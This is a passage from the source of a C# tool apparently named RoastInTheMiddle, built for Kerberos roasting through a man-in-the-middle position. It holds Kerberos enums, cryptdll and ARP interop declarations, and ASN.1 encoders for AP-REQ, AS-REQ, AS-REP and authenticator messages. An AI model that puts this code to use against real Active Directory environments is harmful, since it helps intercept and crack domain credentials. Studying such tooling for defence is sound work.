12, 21 | TGS_REP = 13, 22 | AP_REQ = 14, 23 | CRED = 22, 24 | ERROR = 30 25 | } 26 | 27 | public enum KERB_ETYPE : Int32 28 | { 29 | des_cbc_crc = 1, 30 | des_cbc_md4 = 2, 31 | des_cbc_md5 = 3, 32 | des3_cbc_md5 = 5, 33 | des3_cbc_sha1 = 7, 34 | dsaWithSHA1_CmsOID = 9, 35 | md5WithRSAEncryption_CmsOID = 10, 36 | sha1WithRSAEncryption_CmsOID = 11, 37 | rc2CBC_EnvOID = 12, 38 | rsaEncryption_EnvOID = 13, 39 | rsaES_OAEP_ENV_OID = 14, 40 | des_ede3_cbc_Env_OID = 15, 41 | des3_cbc_sha1_kd = 16, 42 | aes128_cts_hmac_sha1 = 17, 43 | aes256_cts_hmac_sha1 = 18, 44 | rc4_hmac = 23, 45 | rc4_hmac_exp = 24, 46 | subkey_keymaterial = 65, 47 | old_exp = -135 48 | } 49 | 50 | public enum KERB_CHECKSUM_ALGORITHM 51 | { 52 | KERB_CHECKSUM_NONE = 0, 53 | KERB_CHECKSUM_RSA_MD4 = 2, 54 | KERB_CHECKSUM_RSA_MD5 = 7, 55 | KERB_CHECKSUM_HMAC_SHA1_96_AES128 = 15, 56 | KERB_CHECKSUM_HMAC_SHA1_96_AES256 = 16, 57 | KERB_CHECKSUM_DES_MAC = -133, 58 | KERB_CHECKSUM_HMAC_MD5 = -138, 59 | } 60 | 61 | [Flags] 62 | public enum KdcOptions : uint 63 | { 64 | VALIDATE = 0x00000001, 65 | RENEW = 0x00000002, 66 | UNUSED29 = 0x00000004, 67 | ENCTKTINSKEY = 0x00000008, 68 | RENEWABLEOK = 0x00000010, 69 | DISABLETRANSITEDCHECK = 0x00000020, 70 | UNUSED16 = 0x0000FFC0, 71 | CONSTRAINED_DELEGATION = 0x00020000, 72 | CANONICALIZE = 0x00010000, 73 | CNAMEINADDLTKT = 0x00004000, 74 | OK_AS_DELEGATE = 0x00040000, 75 | REQUEST_ANONYMOUS = 0x00008000, 76 | UNUSED12 = 0x00080000, 77 | OPTHARDWAREAUTH = 0x00100000, 78 | PREAUTHENT = 0x00200000, 79 | INITIAL = 0x00400000, 80 | RENEWABLE = 0x00800000, 81 | UNUSED7 = 0x01000000, 82 | POSTDATED = 0x02000000, 83 | ALLOWPOSTDATE = 0x04000000, 84 | PROXY = 0x08000000, 85 | PROXIABLE = 0x10000000, 86 | FORWARDED = 0x20000000, 87 | FORWARDABLE = 0x40000000, 88 | RESERVED = 0x80000000 89 | } 90 | 91 | public enum PRINCIPAL_TYPE : long 92 | { 93 | NT_UNKNOWN = 0, 94 | NT_PRINCIPAL = 1, 95 | NT_SRV_INST = 2, 96 | NT_SRV_HST = 3, 97 | NT_SRV_XHST = 4, 98 | NT_UID = 5, 99 | NT_X500_PRINCIPAL = 6, 100 | NT_SMTP_NAME = 7, 101 | NT_ENTERPRISE = 10 102 | } 103 | 104 | public enum PADATA_TYPE : UInt32 105 | { 106 | AP_REQ = 1, 107 | ENC_TIMESTAMP = 2, 108 | PA_PAC_REQUEST = 128 109 | } 110 | 111 | public enum HostAddressType : long 112 | { 113 | NULL = 0, 114 | ADDRTYPE_UNIX = 1, 115 | ADDRTYPE_INET = 2, 116 | ADDRTYPE_IMPLINK = 3, 117 | ADDRTYPE_PUP = 4, 118 | ADDRTYPE_CHAOS = 5, 119 | ADDRTYPE_XNS = 6, 120 | ADDRTYPE_IPX = 6, 121 | ADDRTYPE_OSI = 7, 122 | ADDRTYPE_ECMA = 8, 123 | ADDRTYPE_DATAKIT = 9, 124 | ADDRTYPE_CCITT = 10, 125 | ADDRTYPE_SNA = 11, 126 | ADDRTYPE_DECNET = 12, 127 | ADDRTYPE_DLI = 13, 128 | ADDRTYPE_LAT = 14, 129 | ADDRTYPE_HYLINK = 15, 130 | ADDRTYPE_APPLETALK = 16, 131 | ADDRTYPE_VOICEVIEW = 18, 132 | ADDRTYPE_FIREFOX = 19, 133 | ADDRTYPE_NETBIOS = 20, 134 | ADDRTYPE_BAN = 21, 135 | ADDRTYPE_ATM = 22, 136 | ADDRTYPE_INET6 = 24 137 | } 138 | 139 | public enum KERBEROS_ERROR : UInt32 140 | { 141 | KDC_ERR_NONE = 0x0, //No error 142 | KDC_ERR_NAME_EXP = 0x1, //Client's entry in KDC database has expired 143 | KDC_ERR_SERVICE_EXP = 0x2, //Server's entry in KDC database has expired 144 | KDC_ERR_BAD_PVNO = 0x3, //Requested Kerberos version number not supported 145 | KDC_ERR_C_OLD_MAST_KVNO = 0x4, //Client's key encrypted in old master key 146 | KDC_ERR_S_OLD_MAST_KVNO = 0x5, //Server's key encrypted in old master key 147 | KDC_ERR_C_PRINCIPAL_UNKNOWN = 0x6, //Client not found in Kerberos database 148 | KDC_ERR_S_PRINCIPAL_UNKNOWN = 0x7, //Server not found in Kerberos database 149 | KDC_ERR_PRINCIPAL_NOT_UNIQUE = 0x8, //Multiple principal entries in KDC database 150 | KDC_ERR_NULL_KEY = 0x9, //The client or server has a null key (master key) 151 | KDC_ERR_CANNOT_POSTDATE = 0xA, // Ticket (TGT) not eligible for postdating 152 | KDC_ERR_NEVER_VALID = 0xB, // Requested start time is later than end time 153 | KDC_ERR_POLICY = 0xC, //Requested start time is later than end time 154 | KDC_ERR_BADOPTION = 0xD, //KDC cannot accommodate requested option 155 | KDC_ERR_ETYPE_NOTSUPP = 0xE, // KDC has no support for encryption type 156 | KDC_ERR_SUMTYPE_NOSUPP = 0xF, // KDC has no support for checksum type 157 | KDC_ERR_PADATA_TYPE_NOSUPP = 0x10, //KDC has no support for PADATA type (pre-authentication data) 158 | KDC_ERR_TRTYPE_NO_SUPP = 0x11, //KDC has no support for transited type 159 | KDC_ERR_CLIENT_REVOKED = 0x12, // Client’s credentials have been revoked 160 | KDC_ERR_SERVICE_REVOKED = 0x13, //Credentials for server have been revoked 161 | KDC_ERR_TGT_REVOKED = 0x14, //TGT has been revoked 162 | KDC_ERR_CLIENT_NOTYET = 0x15, // Client not yet valid—try again later 163 | KDC_ERR_SERVICE_NOTYET = 0x16, //Server not yet valid—try again later 164 | KDC_ERR_KEY_EXPIRED = 0x17, // Password has expired—change password to reset 165 | KDC_ERR_PREAUTH_FAILED = 0x18, //Pre-authentication information was invalid 166 | KDC_ERR_PREAUTH_REQUIRED = 0x19, // Additional preauthentication required 167 | KDC_ERR_SERVER_NOMATCH = 0x1A, //KDC does not know about the requested server 168 | KDC_ERR_MUST_USE_USER2USER = 0x1B, 169 | KDC_ERR_PATH_NOT_ACCEPTED = 0x1C, 170 | KDC_ERR_SVC_UNAVAILABLE = 0x1D, // KDC is unavailable (modified as stated here: https://github.com/dotnet/Kerberos.NET/blob/develop/Kerberos.NET/Entities/Krb/KerberosErrorCode.cs) 171 | KRB_AP_ERR_BAD_INTEGRITY = 0x1F, // Integrity check on decrypted field failed 172 | KRB_AP_ERR_TKT_EXPIRED = 0x20, // The ticket has expired 173 | KRB_AP_ERR_TKT_NYV = 0x21, //The ticket is not yet valid 174 | KRB_AP_ERR_REPEAT = 0x22, // The request is a replay 175 | KRB_AP_ERR_NOT_US = 0x23, //The ticket is not for us 176 | KRB_AP_ERR_BADMATCH = 0x24, //The ticket and authenticator do not match 177 | KRB_AP_ERR_SKEW = 0x25, // The clock skew is too great 178 | KRB_AP_ERR_BADADDR = 0x26, // Network address in network layer header doesn't match address inside ticket 179 | KRB_AP_ERR_BADVERSION = 0x27, // Protocol version numbers don't match (PVNO) 180 | KRB_AP_ERR_MSG_TYPE = 0x28, // Message type is unsupported 181 | KRB_AP_ERR_MODIFIED = 0x29, // Message stream modified and checksum didn't match 182 | KRB_AP_ERR_BADORDER = 0x2A, // Message out of order (possible tampering) 183 | KRB_AP_ERR_BADKEYVER = 0x2C, // Specified version of key is not available 184 | KRB_AP_ERR_NOKEY = 0x2D, // Service key not available 185 | KRB_AP_ERR_MUT_FAIL = 0x2E, // Mutual authentication failed 186 | KRB_AP_ERR_BADDIRECTION = 0x2F, // Incorrect message direction 187 | KRB_AP_ERR_METHOD = 0x30, // Alternative authentication method required 188 | KRB_AP_ERR_BADSEQ = 0x31, // Incorrect sequence number in message 189 | KRB_AP_ERR_INAPP_CKSUM = 0x32, // Inappropriate type of checksum in message (checksum may be unsupported) 190 | KRB_AP_PATH_NOT_ACCEPTED = 0x33, // Desired path is unreachable 191 | KRB_ERR_RESPONSE_TOO_BIG = 0x34, // Too much data 192 | KRB_ERR_GENERIC = 0x3C, // Generic error; the description is in the e-data field 193 | KRB_ERR_FIELD_TOOLONG = 0x3D, // Field is too long for this implementation 194 | KDC_ERR_CLIENT_NOT_TRUSTED = 0x3E, // The client trust failed or is not implemented 195 | KDC_ERR_KDC_NOT_TRUSTED = 0x3F, // The KDC server trust failed or could not be verified 196 | KDC_ERR_INVALID_SIG = 0x40, // The signature is invalid 197 | KDC_ERR_KEY_TOO_WEAK = 0x41, //A higher encryption level is needed 198 | KRB_AP_ERR_USER_TO_USER_REQUIRED = 0x42, // User-to-user authorization is required 199 | KRB_AP_ERR_NO_TGT = 0x43, // No TGT was presented or available 200 | KDC_ERR_WRONG_REALM = 0x44, //Incorrect domain or principal 201 | KDC_ERR_CANT_VERIFY_CERTIFICATE = 0x46, 202 | KDC_ERR_INVALID_CERTIFICATE = 0x47, 203 | KDC_ERR_REVOKED_CERTIFICATE = 0x48, 204 | KDC_ERR_REVOCATION_STATUS_UNKNOWN = 0x49, 205 | KDC_ERR_CLIENT_NAME_MISMATCH = 0x4B, 206 | KDC_ERR_INCONSISTENT_KEY_PURPOSE = 0x4D, 207 | KDC_ERR_DIGEST_IN_CERT_NOT_ACCEPTED = 0x4E, 208 | KDC_ERR_PA_CHECKSUM_MUST_BE_INCLUDED = 0x4F, 209 | KDC_ERR_DIGEST_IN_SIGNED_DATA_NOT_ACCEPTED = 0x50, 210 | KDC_ERR_PUBLIC_KEY_ENCRYPTION_NOT_SUPPORTED = 0x51, 211 | SUCCESS = 0xFE, 212 | UNKNOWN = 0xFF, 213 | } 214 | 215 | [Flags] 216 | public enum TicketFlags : UInt32 217 | { 218 | reserved = 2147483648, 219 | forwardable = 0x40000000, 220 | forwarded = 0x20000000, 221 | proxiable = 0x10000000, 222 | proxy = 0x08000000, 223 | may_postdate = 0x04000000, 224 | postdated = 0x02000000, 225 | invalid = 0x01000000, 226 | renewable = 0x00800000, 227 | initial = 0x00400000, 228 | pre_authent = 0x00200000, 229 | hw_authent = 0x00100000, 230 | ok_as_delegate = 0x00040000, 231 | anonymous = 0x00020000, 232 | name_canonicalize = 0x00010000, 233 | //cname_in_pa_data = 0x00040000, 234 | enc_pa_rep = 0x00010000, 235 | reserved1 = 0x00000001, 236 | empty = 0x00000000 237 | // TODO: constrained delegation? 238 | } 239 | 240 | // From Vincent LE TOUX' "MakeMeEnterpriseAdmin" 241 | // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1773-L1794 242 | [StructLayout(LayoutKind.Sequential)] 243 | public struct KERB_ECRYPT 244 | { 245 | int Type0; 246 | public int BlockSize; 247 | int Type1; 248 | public int KeySize; 249 | public int Size; 250 | int unk2; 251 | int unk3; 252 | public IntPtr AlgName; 253 | public IntPtr Initialize; 254 | public IntPtr Encrypt; 255 | public IntPtr Decrypt; 256 | public IntPtr Finish; 257 | public IntPtr HashPassword; 258 | IntPtr RandomKey; 259 | IntPtr Control; 260 | IntPtr unk0_null; 261 | IntPtr unk1_null; 262 | IntPtr unk2_null; 263 | } 264 | 265 | // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1753-L1767 266 | public delegate int KERB_ECRYPT_Initialize(byte[] Key, int KeySize, int KeyUsage, out IntPtr pContext); 267 | public delegate int KERB_ECRYPT_Encrypt(IntPtr pContext, byte[] data, int dataSize, byte[] output, ref int outputSize); 268 | public delegate int KERB_ECRYPT_Decrypt(IntPtr pContext, byte[] data, int dataSize, byte[] output, ref int outputSize); 269 | public delegate int KERB_ECRYPT_Finish(ref IntPtr pContext); 270 | 271 | [DllImport("iphlpapi.dll", ExactSpelling = true)] 272 | public static extern int SendARP(int DestIP, int SrcIP, [Out] byte[] pMacAddr, ref int PhyAddrLen); 273 | 274 | // Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin" 275 | [DllImport("cryptdll.Dll", CharSet = CharSet.Auto, SetLastError = false)] 276 | public static extern int CDLocateCSystem(KERB_ETYPE type, out IntPtr pCheckSum); 277 | } 278 | } 279 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Krb/AP_REQ.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using Asn1; 7 | 8 | namespace RoastInTheMiddle.Lib.Krb 9 | { 10 | public class AP_REQ 11 | { 12 | public AP_REQ(string crealm, string cname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, int keyUsageSpec = Interop.KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR) 13 | { 14 | pvno = 5; 15 | 16 | msg_type = (long)Interop.KERB_MESSAGE_TYPE.AP_REQ; 17 | 18 | ap_options = 0; 19 | 20 | ticket = providedTicket; 21 | 22 | // KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR = 7 23 | // KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR = 11 24 | keyUsage = keyUsageSpec; 25 | 26 | enctype = etype; 27 | key = clientKey; 28 | 29 | authenticator = new Authenticator(); 30 | authenticator.crealm = crealm; 31 | authenticator.cname = new PrincipalName(cname); 32 | } 33 | 34 | public AsnElt Encode() 35 | { 36 | // pvno [0] INTEGER (5) 37 | AsnElt pvnoASN = AsnElt.MakeInteger(pvno); 38 | AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoASN }); 39 | pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq); 40 | 41 | 42 | // msg-type [1] INTEGER (14) 43 | AsnElt msg_typeASN = AsnElt.MakeInteger(msg_type); 44 | AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { msg_typeASN }); 45 | msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq); 46 | 47 | 48 | // ap-options [2] APOptions 49 | byte[] ap_optionsBytes = BitConverter.GetBytes(ap_options); 50 | AsnElt ap_optionsASN = AsnElt.MakeBitString(ap_optionsBytes); 51 | AsnElt ap_optionsSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { ap_optionsASN }); 52 | ap_optionsSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, ap_optionsSeq); 53 | 54 | 55 | // ticket [3] Ticket 56 | AsnElt ticketASN = ticket.Encode(); 57 | AsnElt ticktSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { ticketASN }); 58 | ticktSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, ticktSeq); 59 | 60 | 61 | // authenticator [4] EncryptedData 62 | if (key == null) 63 | { 64 | Console.WriteLine(" [X] A key for the authenticator is needed to build an AP-REQ"); 65 | return null; 66 | } 67 | 68 | byte[] authenticatorBytes = authenticator.Encode().Encode(); 69 | 70 | byte[] encBytes = Crypto.KerberosEncrypt(enctype, keyUsage, key, authenticatorBytes); 71 | 72 | // create the EncryptedData structure to hold the authenticator bytes 73 | EncryptedData authenticatorEncryptedData = new EncryptedData(); 74 | authenticatorEncryptedData.etype = (int)enctype; 75 | authenticatorEncryptedData.cipher = encBytes; 76 | 77 | AsnElt authenticatorEncryptedDataASN = authenticatorEncryptedData.Encode(); 78 | AsnElt authenticatorEncryptedDataSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { authenticatorEncryptedDataASN }); 79 | authenticatorEncryptedDataSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, authenticatorEncryptedDataSeq); 80 | 81 | // encode it all into a sequence 82 | AsnElt[] total = new[] { pvnoSeq, msg_typeSeq, ap_optionsSeq, ticktSeq, authenticatorEncryptedDataSeq }; 83 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, total); 84 | 85 | // AP-REQ ::= [APPLICATION 14] 86 | // put it all together and tag it with 14 87 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); 88 | totalSeq = AsnElt.MakeImplicit(AsnElt.APPLICATION, 14, totalSeq); 89 | 90 | return totalSeq; 91 | } 92 | 93 | 94 | public long pvno { get; set; } 95 | 96 | public long msg_type { get; set; } 97 | 98 | public UInt32 ap_options { get; set; } 99 | 100 | public Ticket ticket { get; set; } 101 | 102 | public Authenticator authenticator { get; set; } 103 | 104 | public byte[] key { get; set; } 105 | 106 | private Interop.KERB_ETYPE enctype; 107 | 108 | private int keyUsage; 109 | } 110 | } 111 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Krb/AS_REP.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Text; 3 | using Asn1; 4 | 5 | namespace RoastInTheMiddle.Lib.Krb 6 | { 7 | public class AS_REP 8 | { 9 | public AS_REP(byte[] data) 10 | { 11 | // decode the supplied bytes to an AsnElt object 12 | // false == ignore trailing garbage 13 | AsnElt asn_AS_REP = AsnElt.Decode(data, false); 14 | 15 | this.Decode(asn_AS_REP); 16 | } 17 | 18 | public AS_REP(AsnElt asn_AS_REP) 19 | { 20 | this.Decode(asn_AS_REP); 21 | } 22 | 23 | private void Decode(AsnElt asn_AS_REP) 24 | { 25 | // AS-REP::= [APPLICATION 11] KDC-REQ 26 | if (asn_AS_REP.TagValue != (int)Interop.KERB_MESSAGE_TYPE.AS_REP) 27 | { 28 | throw new System.Exception("AS-REP tag value should be 11"); 29 | } 30 | 31 | if ((asn_AS_REP.Sub.Length != 1) || (asn_AS_REP.Sub[0].TagValue != 16)) 32 | { 33 | throw new System.Exception("First AS-REP sub should be a sequence"); 34 | } 35 | 36 | // extract the KDC-REP out 37 | AsnElt[] kdc_rep = asn_AS_REP.Sub[0].Sub; 38 | padata = new List(); 39 | 40 | foreach (AsnElt s in kdc_rep) 41 | { 42 | switch (s.TagValue) 43 | { 44 | case 0: 45 | pvno = s.Sub[0].GetInteger(); 46 | break; 47 | case 1: 48 | msg_type = s.Sub[0].GetInteger(); 49 | break; 50 | case 2: 51 | // sequence of pa-data 52 | foreach (AsnElt pad in s.Sub) 53 | { 54 | padata.Add(new PA_DATA(pad.Sub[0])); 55 | } 56 | break; 57 | case 3: 58 | crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); 59 | break; 60 | case 4: 61 | cname = new PrincipalName(s.Sub[0]); 62 | break; 63 | case 5: 64 | ticket = new Ticket(s.Sub[0].Sub[0]); 65 | break; 66 | case 6: 67 | enc_part = new EncryptedData(s.Sub[0]); 68 | break; 69 | default: 70 | break; 71 | } 72 | } 73 | } 74 | 75 | // won't really every need to *create* a AS reply, so no encode 76 | 77 | public long pvno { get; set; } 78 | 79 | public long msg_type { get; set; } 80 | 81 | public List padata { get; set; } 82 | 83 | public string crealm { get; set; } 84 | 85 | public PrincipalName cname { get; set; } 86 | 87 | public Ticket ticket { get; set; } 88 | 89 | public EncryptedData enc_part { get; set; } 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Krb/AS_REQ.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | using System.Collections.Generic; 4 | 5 | namespace RoastInTheMiddle.Lib.Krb 6 | { 7 | public class AS_REQ 8 | { 9 | public AS_REQ(byte[] data) 10 | { 11 | // decode the supplied bytes to an AsnElt object 12 | data = AsnIO.FindBER(data); 13 | AsnElt asn_AS_REQ = AsnElt.Decode(data); 14 | padata = new List(); 15 | 16 | // AS-REQ::= [APPLICATION 10] KDC-REQ 17 | // tag class == 1 18 | // tag class == 10 19 | // SEQUENCE 20 | if (asn_AS_REQ.TagValue != (int)Interop.KERB_MESSAGE_TYPE.AS_REQ) 21 | { 22 | throw new System.Exception("AS-REQ tag value should be 10"); 23 | } 24 | 25 | if ((asn_AS_REQ.Sub.Length != 1) || (asn_AS_REQ.Sub[0].TagValue != 16)) 26 | { 27 | throw new System.Exception("First AS-REQ sub should be a sequence"); 28 | } 29 | 30 | // extract the KDC-REQ out 31 | AsnElt[] kdc_req = asn_AS_REQ.Sub[0].Sub; 32 | 33 | foreach (AsnElt s in kdc_req) 34 | { 35 | switch (s.TagValue) 36 | { 37 | case 1: 38 | pvno = s.Sub[0].GetInteger(); 39 | break; 40 | case 2: 41 | msg_type = s.Sub[0].GetInteger(); 42 | break; 43 | case 3: 44 | foreach (AsnElt pa in s.Sub[0].Sub) 45 | { 46 | padata.Add(new PA_DATA(pa)); 47 | } 48 | break; 49 | case 4: 50 | req_body = new KDCReqBody(s.Sub[0]); 51 | break; 52 | default: 53 | throw new System.Exception(String.Format("Invalid tag AS-REQ value : {0}", s.TagValue)); 54 | } 55 | } 56 | } 57 | 58 | public AsnElt Encode() 59 | { 60 | // pvno [1] INTEGER (5) 61 | AsnElt pvnoAsn = AsnElt.MakeInteger(pvno); 62 | AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoAsn }); 63 | pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, pvnoSeq); 64 | 65 | 66 | // msg-type [2] INTEGER (10 -- AS -- ) 67 | AsnElt msg_type_ASN = AsnElt.MakeInteger(msg_type); 68 | AsnElt msg_type_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { msg_type_ASN }); 69 | msg_type_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, msg_type_ASNSeq); 70 | 71 | // padata [3] SEQUENCE OF PA-DATA OPTIONAL 72 | List padatas = new List(); 73 | foreach (PA_DATA pa in padata) 74 | { 75 | padatas.Add(pa.Encode()); 76 | } 77 | 78 | // req-body [4] KDC-REQ-BODY 79 | AsnElt req_Body_ASN = req_body.Encode(); 80 | AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN }); 81 | req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq); 82 | 83 | AsnElt padata_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, padatas.ToArray()); 84 | AsnElt padata_ASNSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { padata_ASNSeq }); 85 | padata_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, padata_ASNSeq2); 86 | 87 | // encode it all into a sequence 88 | AsnElt[] total = new[] { pvnoSeq, msg_type_ASNSeq, padata_ASNSeq, req_Body_ASNSeq }; 89 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, total); 90 | 91 | // AS-REQ ::= [APPLICATION 10] KDC-REQ 92 | // put it all together and tag it with 10 93 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); 94 | totalSeq = AsnElt.MakeImplicit(AsnElt.APPLICATION, 10, totalSeq); 95 | 96 | return totalSeq; 97 | } 98 | 99 | public long pvno { get; set; } 100 | 101 | public long msg_type { get; set; } 102 | 103 | public List padata { get; set; } 104 | 105 | public KDCReqBody req_body { get; set; } 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Krb/Authenticator.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using Asn1; 4 | 5 | namespace RoastInTheMiddle.Lib.Krb 6 | { 7 | public class Authenticator 8 | { 9 | //Authenticator ::= [APPLICATION 2] SEQUENCE { 10 | // authenticator-vno [0] INTEGER (5), 11 | // crealm [1] Realm, 12 | // cname [2] PrincipalName, 13 | // cksum [3] Checksum OPTIONAL, 14 | // cusec [4] Microseconds, 15 | // ctime [5] KerberosTime, 16 | // subkey [6] EncryptionKey OPTIONAL, 17 | // seq-number [7] UInt32 OPTIONAL, 18 | // authorization-data [8] AuthorizationData OPTIONAL 19 | //} 20 | 21 | // NOTE: we're only using: 22 | // authenticator-vno [0] 23 | // crealm [1] 24 | // cname [2] 25 | // cusec [4] 26 | // ctime [5] 27 | 28 | public Authenticator() 29 | { 30 | authenticator_vno = 5; 31 | 32 | crealm = ""; 33 | 34 | cksum = null; 35 | 36 | cname = new PrincipalName(); 37 | 38 | cusec = 0; 39 | 40 | ctime = DateTime.UtcNow; 41 | 42 | subkey = null; 43 | 44 | seq_number = 0; 45 | } 46 | 47 | public AsnElt Encode() 48 | { 49 | List allNodes = new List(); 50 | 51 | 52 | // authenticator-vno [0] INTEGER (5) 53 | AsnElt pvnoAsn = AsnElt.MakeInteger(authenticator_vno); 54 | AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoAsn }); 55 | pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq); 56 | allNodes.Add(pvnoSeq); 57 | 58 | 59 | // crealm [1] Realm 60 | AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, crealm); 61 | realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn); 62 | AsnElt realmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { realmAsn }); 63 | realmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, realmSeq); 64 | allNodes.Add(realmSeq); 65 | 66 | 67 | // cname [2] PrincipalName 68 | AsnElt snameElt = cname.Encode(); 69 | snameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, snameElt); 70 | allNodes.Add(snameElt); 71 | 72 | // cksum [3] Checksum 73 | if (cksum != null) 74 | { 75 | AsnElt checksumAsn = cksum.Encode(); 76 | checksumAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, checksumAsn); 77 | allNodes.Add(checksumAsn); 78 | } 79 | 80 | 81 | // TODO: correct format (UInt32)? 82 | // cusec [4] Microseconds 83 | AsnElt nonceAsn = AsnElt.MakeInteger(cusec); 84 | AsnElt nonceSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nonceAsn }); 85 | nonceSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, nonceSeq); 86 | allNodes.Add(nonceSeq); 87 | 88 | 89 | // ctime [5] KerberosTime 90 | AsnElt tillAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, ctime.ToString("yyyyMMddHHmmssZ")); 91 | AsnElt tillSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { tillAsn }); 92 | tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, tillSeq); 93 | allNodes.Add(tillSeq); 94 | 95 | if (subkey != null) 96 | { 97 | // subkey [6] EncryptionKey OPTIONAL 98 | AsnElt keyAsn = subkey.Encode(); 99 | keyAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, keyAsn); 100 | allNodes.Add(keyAsn); 101 | } 102 | 103 | if (seq_number != 0) 104 | { 105 | // seq-number [7] UInt32 OPTIONAL 106 | AsnElt seq_numberASN = AsnElt.MakeInteger(seq_number); 107 | AsnElt seq_numberSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq_numberASN }); 108 | seq_numberSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, seq_numberSeq); 109 | allNodes.Add(seq_numberSeq); 110 | } 111 | 112 | // package it all up 113 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray()); 114 | 115 | 116 | // tag the final total 117 | AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { seq }); 118 | final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 2, final); 119 | 120 | return final; 121 | } 122 | 123 | 124 | public long authenticator_vno { get; set; } 125 | 126 | public string crealm { get; set; } 127 | 128 | public Checksum cksum { get; set; } 129 | 130 | public PrincipalName cname { get; set; } 131 | 132 | public long cusec { get; set; } 133 | 134 | public DateTime ctime { get; set; } 135 | 136 | public EncryptionKey subkey { get; set; } 137 | 138 | public UInt32 seq_number { get; set; } 139 | } 140 | } 141 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Krb/Checksum.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using Asn1; 3 | 4 | namespace RoastInTheMiddle.Lib.Krb 5 | { 6 | public class Checksum 7 | { 8 | //Checksum ::= SEQUENCE { 9 | // cksumtype [0] Int32, 10 | // checksum [1] OCTET STRING 11 | //} 12 | 13 | public Checksum(byte[] data) 14 | { 15 | // KERB_CHECKSUM_HMAC_MD5 = -138 16 | cksumtype = -138; 17 | 18 | checksum = data; 19 | } 20 | 21 | public Checksum(Interop.KERB_CHECKSUM_ALGORITHM cktype, byte[] data) 22 | { 23 | cksumtype = (int)cktype; 24 | 25 | checksum = data; 26 | } 27 | 28 | public Checksum(AsnElt body) 29 | { 30 | foreach (AsnElt s in body.Sub) 31 | { 32 | switch (s.TagValue) 33 | { 34 | case 0: 35 | cksumtype = Convert.ToInt32(s.Sub[0].GetInteger()); 36 | break; 37 | case 2: 38 | checksum = s.Sub[0].GetOctetString(); 39 | break; 40 | default: 41 | break; 42 | } 43 | } 44 | } 45 | 46 | public AsnElt Encode() 47 | { 48 | // cksumtype [0] Int32 49 | AsnElt cksumtypeAsn = AsnElt.MakeInteger(cksumtype); 50 | AsnElt cksumtypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { cksumtypeAsn }); 51 | cksumtypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, cksumtypeSeq); 52 | 53 | 54 | // checksum [1] OCTET 